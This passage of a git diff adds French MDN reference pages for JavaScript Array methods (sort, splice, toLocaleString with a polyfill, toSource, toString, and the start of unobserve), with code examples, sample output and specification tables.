+  { name: "Zeros", value: 37 }
+];
+items.sort(function (a, b) {
+  return a.value - b.value;
+});</pre>
+
+<h3 id="Différences_dimplémentation">Différences d'implémentation</h3>
+
+<p>Certaines implémentations de JavaScript utilisent un tri stable : l'ordre partiel de <code>a</code> et <code>b</code> ne change pas si <code>a</code> et <code>b</code> sont égaux. Si l'indice de <code>a</code> était inférieur à celui de <code>b</code> avant le tri, il le sera toujours après, quels que soient les mouvements de <code>a</code> et <code>b</code> dus au tri.</p>
+
+<p>Le tri est stable dans <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a> et tous les navigateurs basés sur Mozilla à partir de <a href="/fr/docs/Gecko">Gecko</a> 1.9 (voir le {{ Bug(224128) }}).</p>
+
+<p>Le comportement de la méthode <code>sort()</code> a changé entre JavaScript 1.1 et JavaScript 1.2.</p>
+
+<p>En JavaScript 1.1, sur certaines plateformes, la méthode <code>sort</code> ne fonctionnait pas. Le tri fonctionne sur toutes les plateformes à partir de JavaScript 1.2.</p>
+
+<p>En JavaScript 1.2, cette méthode ne convertit plus les éléments non définis (<code>undefined</code>) en <code>null</code> ; elle les place en fin de tableau. Par exemple, supposons que vous ayez ce script :</p>
+
+<pre class="brush: js">var a = [];
+a[0] = "araignée";
+a[5] = "zèbre";
+
+function writeArray(x) {
+  for (i = 0; i &lt; x.length; i++) {
+    console.log(x[i]);
+    if (i &lt; x.length-1)
+      console.log(", ");
+  }
+}
+
+writeArray(a);
+a.sort();
+console.log("\n");
+writeArray(a);
+</pre>
+
+<p>En JavaScript 1.1, cette fonction affichait :</p>
+
+<pre class="eval">araignée, null, null, null, null, zèbre
+araignée, null, null, null, null, zèbre
+</pre>
+
+<p>En JavaScript 1.2, elle affichera :</p>
+
+<pre class="eval">araignée, undefined, undefined, undefined, undefined, zèbre
+araignée, zèbre, undefined, undefined, undefined, undefined
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Création_affichage_et_tri_dun_tableau">Création, affichage et tri d'un tableau</h3>
+
+<p>L'exemple qui suit crée quatre tableaux et affiche le tableau original, puis les tableaux triés. Les tableaux numériques sont triés d'abord sans, puis avec une fonction de comparaison.</p>
+
+<pre class="brush: js">var stringArray = ["Bosse", "Bleue", "Béluga"];
+var numericStringArray = ["80", "9", "700"];
+var numberArray = [40, 1, 5, 200];
+var mixedNumericArray = ["80", "9", "700", 40, 1, 5, 200];
+
+function compareNombres(a, b) {
+  return a - b;
+}
+
+console.log("Chaînes : " + stringArray.join() +"\n");
+console.log("Triées : " + stringArray.sort() +"\n\n");
+
+console.log("Nombres : " + numberArray.join() +"\n");
+console.log("Triés sans fonction de comparaison : " + numberArray.sort() +"\n");
+console.log("Triés avec compareNombres : " + numberArray.sort(compareNombres) +"\n\n");
+
+console.log("Chaînes numériques : " + numericStringArray.join() +"\n");
+console.log("Triées sans fonction de comparaison : " + numericStringArray.sort() +"\n");
+console.log("Triées avec compareNombres : " + numericStringArray.sort(compareNombres) +"\n\n");
+
+console.log("Nombres et chaînes numériques : " + mixedNumericArray.join() +"\n");
+console.log("Triés sans fonction de comparaison : " + mixedNumericArray.sort() +"\n");
+console.log("Triés avec compareNombres : " + mixedNumericArray.sort(compareNombres) +"\n\n");
+</pre>
+
+<p>Cet exemple produit la sortie suivante. Comme on peut le voir, lorsqu'on utilise la fonction de comparaison, les nombres sont triés correctement qu'ils soient des nombres ou des chaînes numériques.</p>
+
+<pre class="eval">Chaînes : Bosse,Bleue,Béluga
+Triées : Bleue,Bosse,Béluga
+
+Nombres : 40,1,5,200
+Triés sans fonction de comparaison : 1,200,40,5
+Triés avec compareNombres : 1,5,40,200
+
+Chaînes numériques : 80,9,700
+Triées sans fonction de comparaison : 700,80,9
+Triées avec compareNombres : 9,80,700
+
+Nombres et chaînes numériques : 80,9,700,40,1,5,200
+Triés sans fonction de comparaison : 1,200,40,5,700,80,9
+Triés avec compareNombres : 1,5,9,40,80,200,700
+</pre>
+
+<h3 id="Trier_des_caractères_non-ASCII">Trier des caractères non-ASCII</h3>
+
+<p>Pour des chaines de caractères contenant des caractères non ASCII, c'est à dire des chaines de caractères contenant par exemple des accents (é, è, a, ä, etc.) : utilisez {{jsxref("String.localeCompare")}}. Cette fonction peut comparer ces caractères afin qu'ils apparaissent dans le bon ordre.</p>
+
+<pre class="brush: js">var items = ["réservé", "premier", "cliché", "communiqué", "café" ,"adieu"];
+items.sort(function (a, b) {
+  return a.localeCompare(b);
+});
+
+// items is [ 'adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé' ]</pre>
+
+<h3 id="Trier_avec_map">Trier avec map</h3>
+
+<p>La fonction de comparaison peut être amenée à être appelée plusieurs fois pour un même élément du tableau. Selon la fonction utilisée, cela peut entraîner des problèmes de performances. Plus le tableau est grand et plus la fonction de comparaison est complexe, plus il sera judicieux d'envisager des opérations de fonctions appliquées au tableau (<em>map</em>). L'idée est la suivante : on extrait les valeurs du tableau original, en appliquant des opérations dans un tableau temporaire, puis on trie ce tableau temporaire. Enfin, on recompose le tableau final avec les éléments du premier tableau et l'ordre obtenu.</p>
+
+<pre class="brush: js">// le tableau à trier
+var liste = ['Delta', 'alpha', 'CHARLIE', 'bravo'];
+
+// Création d'objet temporaire qui contient les positions
+// et les valeurs en minuscules
+var mapped = liste.map(function(e, i) {
+  return { index: i, value: e.toLowerCase() };
+})
+
+// on trie l'objet temporaire avec les valeurs réduites
+mapped.sort(function(a, b) {
+  if (a.value &gt; b.value) {
+    return 1;
+  }
+  if (a.value &lt; b.value) {
+    return -1;
+  }
+  return 0;
+});
+
+// on utilise un objet final pour les résultats
+var result = mapped.map(function(e){
+  return liste[e.index];
+});
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note : </strong>Une bibliothèque <em>open source</em> utilise cette approche : <code><a href="https://null.house/open-source/mapsort">mapsort</a></code>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.11', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.sort")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+ <li><a href="https://v8.dev/blog/array-sort">À propos de la stabilité du tri pour le moteur V8</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/splice/index.html b/files/fr/web/javascript/reference/objets_globaux/array/splice/index.html
new file mode 100644
index 0000000000..660bd81fb3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/splice/index.html
@@ -0,0 +1,146 @@
+---
+title: Array.prototype.splice()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/splice
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>splice()</code></strong> modifie le contenu d'un tableau en retirant des éléments et/ou en ajoutant de nouveaux éléments <a href="https://en.wikipedia.org/wiki/In-place_algorithm">à même le tableau</a>.On peut ainsi vider ou remplacer une partie d'un tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-splice.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var tabElementsSupprimes = array</var>.splice(<var>début</var>, nbASupprimer[, <var>élem1</var>[, élem2[, ...]]])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>début</code></dt>
+ <dd>L'indice à partir duquel commencer à changer le tableau (l'indice du premier élement étant <code>0</code>).</dd>
+ <dd>Si sa valeur est supérieure à la longueur du tableau <code><var>array</var>.length</code>, <code>début</code> est ramené à la longueur du tableau <code><var>array</var>.length</code>.</dd>
+ <dd>S'il est négatif, le changement commencera d'autant d'éléments à partir de la fin du tableau, c'est à dire à partir de l'index  <code><var>array</var>.length + <var>début</var></code>. Si <code><var>array</var>.length + <var>début</var></code> est inférieur à <code>0</code>, le changement commencera à l'index <code>0</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>nbASupprimer</code></dt>
+ <dd>Un entier indiquant le nombre d'anciens éléments à remplacer.<br>
+ Si ce paramètre est absent ou si sa valeur est supérieure ou égale à <code>array.length - début</code>, alors les éléments entre <code>début</code> et la fin du tableau seront supprimés.</dd>
+ <dd>Si <code>nbASupprimer</code> vaut 0, aucun élément ne sera supprimé. Dans ce cas, il est nécessaire de spécifier au moins un nouvel élément.</dd>
+</dl>
+
+<dl>
+ <dt><code>élemN</code></dt>
+ <dd>Les éléments à ajouter au tableau à partir de <code>début</code>. Si vous ne spécifiez pas de nouvel élément, les anciens éléments seront simplement supprimés du tableau.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau contenant les éléments supprimés. Si un seul élément est supprimé, un tableau contenant un unique élément est retourné.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si vous spécifiez un nombre différent d'éléments à insérer et d'éléments à supprimer, le tableau aura une longueur différente après l'appel de la méthode.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_splice">Utiliser <code>splice</code></h3>
+
+<p>Le script suivant illustre l'utilisation de <code>splice</code> :</p>
+
+<pre class="brush: js">var mesPoissons  = ["scalaire", "clown", "mandarin", "chirurgien"];
+
+// supprime 0 élément à partir de l'index 2, et insère "tambour"
+var enleves = mesPoissons.splice(2, 0, "tambour");
+// mesPoissons est ["scalaire", "clown", "tambour", "mandarin", "chirurgien"]
+// enleves est [], aucun élément supprimé
+
+// supprime 1 élément à partir de l'index 3
+enleves = mesPoissons.splice(3, 1);
+// mesPoissons est ["scalaire", "clown", "tambour", "chirurgien"]
+// enleves est ["mandarin"]
+
+// supprime 1 élément à partir de l'index 2, et insère "trompette"
+enleves = mesPoissons.splice(2, 1, "trompette");
+// mesPoissons est ["scalaire", "clown", "trompette", "chirurgien"]
+// enleves est ["tambour"]
+
+// supprime 2 éléments à partir de l'index 0, et insère "perroquet", "anémone" et"bleu"
+enleves = mesPoissons.splice(0, 2, "perroquet", "anémone", "bleu");
+// mesPoissons est ["perroquet", "anémone", "bleu", "trompette", "chirurgien"]
+// enleves est ["scalaire", "clown"]
+
+// supprime 2 éléments à partir de l'indice 2
+enleves = mesPoissons.splice(mesPoissons.length - 3, 2);
+// mesPoissons est ["perroquet", "anémone", "chirurgien"]
+// enleves est ["bleu", "trompette"]
+
+var mesPoissons = ["perroquet", "anémone", "bleu", "trompette", "chirurgien"];
+// on retire trois éléments à partir de l'indice 2
+enleves = mesPoissons.splice(2);
+// mesPoissons vaut ["perroquet", "anémone"]
+// enleves vaut ["bleu", "trompette", "chirurgien"]
+
+var mesAnimaux = ["cheval", "chien", "chat", "dauphin"];
+enleves = mesAnimaux.splice(-2, 1);
+
+// mesAnimaux vaut ["cheval", "chien", "dauphin"]
+// enleves vaut ["chat"]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.splice")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push", "push")}} / {{jsxref("Array.prototype.pop", "pop")}} pour ajouter/supprimer des éléments en fin de tableau</li>
+ <li>{{jsxref("Array.prototype.unshift", "unshift")}} / {{jsxref("Array.prototype.shift", "shift")}} pour ajouter/supprimer des éléments en début de tableau</li>
+ <li>{{jsxref("Array.prototype.concat", "concat")}} qui renvoie un nouveau tableau résultat de la concaténation d'un tableau avec un autre tableau ou d'autres valeurs</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/array/tolocalestring/index.html
new file mode 100644
index 0000000000..5d686a85bd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/tolocalestring/index.html
@@ -0,0 +1,190 @@
+---
+title: Array.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/toLocaleString
+tags:
+  - Array
+  - Internationalisation
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLocaleString()</strong></code> renvoie une chaîne de caractères qui représente les éléments du tableau. Les éléments sont convertis en chaînes de caractères grâce à leurs méthodes <code>toLocaleString</code> et chacune de ces chaînes est séparée des autres avec un séparateur propre à la locale courante (par exemple une virgule ou un point).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-tolocalestring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toLocaleString();
+<var>arr</var>.toLocaleString(<var>locales</var>);
+<var>arr</var>.toLocaleString(<var>locales</var>, <var>options</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code> {{optional_inline}}</dt>
+ <dd>Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument <code>locales</code>. Pour plus de détails quant à la forme et l'interprétation de l'argument <code>locales</code>, on consultera la page {{jsxref("Intl")}}.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un objet qui contient des propriétés de configuration. Pour les nombres, consulter {{jsxref("Number.prototype.toLocaleString()")}}, pour les dates, consulter {{jsxref("Date.prototype.toLocaleString()")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente les éléments du tableau.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_les_arguments_locales_et_options">Utiliser les arguments <code>locales</code> et <code>options</code></h3>
+
+<p>Les éléments du tableau sont converties en chaînes de caractères via leurs méthodes <code>toLocaleString()</code>.</p>
+
+<ul>
+ <li><code>Object</code> : {{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li><code>Number</code> : {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li><code>Date</code> : {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+
+<p>Ici, on voit qu'on affiche le symbole de la devise de la locale pour chacun des éléments (nombres ou chaînes de caractères) du tableau <code>prix</code> :</p>
+
+<pre class="brush: js">var prix = ["￥7", 500, 8123, 12];
+prix.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' });
+
+// "￥7,￥500,￥8,123,￥12"
+</pre>
+
+<p>Pour plus d'exemples, on peut se référer aux pages {{jsxref("Intl")}}, {{jsxref("NumberFormat")}} et {{jsxref("DateTimeFormat")}}.</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma402/#sup-array.prototype.tolocalestring
+if (!Array.prototype.toLocaleString) {
+  Object.defineProperty(Array.prototype, 'toLocaleString', {
+    value: function(locales, options) {
+      // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var a = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(A, "length")).
+      var len = a.length &gt;&gt;&gt; 0;
+
+      // 3. Let separator be the String value for the
+      //    list-separator String appropriate for the
+      //    host environment's current locale (this is
+      //    derived in an implementation-defined way).
+      // NOTE: In this case, we will use a comma
+      var separator = ',';
+
+      // 4. If len is zero, return the empty String.
+      if (len === 0) {
+        return '';
+      }
+
+      // 5. Let firstElement be ? Get(A, "0").
+      var firstElement = a[0];
+      // 6. If firstElement is undefined or null, then
+      //  a.Let R be the empty String.
+      // 7. Else,
+      //  a. Let R be ?
+      //     ToString(?
+      //       Invoke(
+      //        firstElement,
+      //        "toLocaleString",
+      //        « locales, options »
+      //       )
+      //     )
+      var r = firstElement == null ?
+        '' : firstElement.toLocaleString(locales, options);
+
+      // 8. Let k be 1.
+      var k = 1;
+
+      // 9. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let S be a String value produced by
+        //   concatenating R and separator.
+        var s = r + separator;
+
+        // b. Let nextElement be ? Get(A, ToString(k)).
+        var nextElement = a[k];
+
+        // c. If nextElement is undefined or null, then
+        //   i. Let R be the empty String.
+        // d. Else,
+        //   i. Let R be ?
+        //     ToString(?
+        //       Invoke(
+        //        nextElement,
+        //        "toLocaleString",
+        //        « locales, options »
+        //       )
+        //     )
+        r = nextElement == null ?
+          '' : nextElement.toLocaleString(locales, options);
+
+        // e. Let R be a String value produced by
+        //   concatenating S and R.
+        r = s + r;
+
+        // f. Increase k by 1.
+        k++;
+      }
+
+      // 10. Return R.
+      return r;
+    }
+  });
+}
+</pre>
+
+<p>S'il faut absolument prendre en charge les moteurs JavaScript qui ne supportent pas {{jsxref("Object.defineProperty()")}}, mieux vaut ne pas ajouter de prothèse pour les méthodes <code>Array.prototype</code> car elles ne peuvent pas être rendues non-énumérables.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale dans ECMAScript 3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Cette définition remplace la définition fournit dans ECMA-262.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.toLocaleString")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("Intl")}}</li>
+ <li>{{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/array/tosource/index.html
new file mode 100644
index 0000000000..e6800fd64c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/tosource/index.html
@@ -0,0 +1,68 @@
+---
+title: Array.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/toSource
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Non-standard
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource
+---
+<div>{{JSRef}}{{Non-standard_header}}</div>
+
+<p>La méthode <strong><code>toSource()</code></strong> renvoie une chaine de caractères représentant le code source du tableau.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toSource()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le code source du tableau.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toSource()</code> renvoie les valeurs suivantes :</p>
+
+<ul>
+ <li>Pour l'objet {{jsxref("Array")}} natif, <code>toSource()</code> renvoie la chaîne de caractères suivante indiquant que le code source n'est pas disponible :
+
+  <pre class="brush: js">function Array() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Pour les instances d'{{jsxref("Array")}}, <code>toSource()</code> renvoie une chaîne représentant le code source.</li>
+</ul>
+
+<p>Cette méthode est habituellement appelée en interne par le moteur JavaScript et n'est pas utilisée explicitement dans du code. Il est cependant possible d'appeler <code>toSource()</code> lors du débogage pour examiner le contenu d'un tableau.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Examiner_le_code_source_d'un_tableau">Examiner le code source d'un tableau</h3>
+
+<p>Pour examiner le code source d'un tableau :</p>
+
+<pre class="brush: js">var alpha = new Array("a", "b", "c");
+alpha.toSource();
+// renvoie ["a", "b", "c"]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucun standard. Implémenté dans JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.toSource")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/array/tostring/index.html
new file mode 100644
index 0000000000..b7b252c1fb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/tostring/index.html
@@ -0,0 +1,83 @@
+---
+title: Array.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/toString
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>toString()</code></strong> renvoie une chaine de caractères représentant le tableau spécifié et ses éléments.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-tostring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente les éléments du tableau.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("Array")}} redéfinit la méthode <code>toString</code> d'{{jsxref("Object")}}. Pour les objets <code>Array</code>, la méthode <code>toString()</code> concatène les éléments du tableau et renvoie une chaîne contenant chacun des éléments, séparés par des virgules.</p>
+
+<p>JavaScript appelle la méthode <code>toString()</code> automatiquement lorsqu'un tableau doit être représenté par une valeur texte ou lorsqu'on fait référence à un tableau dans une concaténation de chaines de caractères.</p>
+
+<h3 id="Sémantique_d'ECMAScript_5">Sémantique d'ECMAScript 5</h3>
+
+<p>À partir de JavaScript 1.8.5 (Firefox 4), et en cohérence avec la 5<sup>e</sup> édition d'ECMAScript, la méthode <code>toString()</code> est générique et peut être utilisé avec n'importe quel objet. {{jsxref("Object.prototype.toString()")}} sera appelée, et la valeur résultante sera renvoyée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.toString")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/unobserve/index.html b/files/fr/web/javascript/reference/objets_globaux/array/unobserve/index.html
new file mode 100644
index 0000000000..bb32557e28
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/unobserve/index.html
@@ -0,0 +1,89 @@
+---
+title: Array.unobserve()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/unobserve
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Array.unobserve
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>La méthode <code>Array<strong>.unobserve()</strong></code> est utilisée pour retirer les observateurs placés grâce à {{jsxref("Array.observe()")}}. Cette API a été dépréciée et retirée des navigateurs. À la place, il est préférable d'utiliser l'objet {{jsxref("Proxy")}}, plus générique.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>Array.unobserve(<var>arr</var>, <var>callback</var>)</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>arr</code></dt>
+ <dd>Le tableau qu'on souhaite arrêter d'observer.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La référence à l'observateur dont on souhaite qu'il arrête d'être appelé à chaque changement apporté au tableau <strong>arr</strong>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Array.unobserve()</code> doit être appelé après {{jsxref("Array.observe()")}} afin de retirer un observateur du tableau.</p>
+
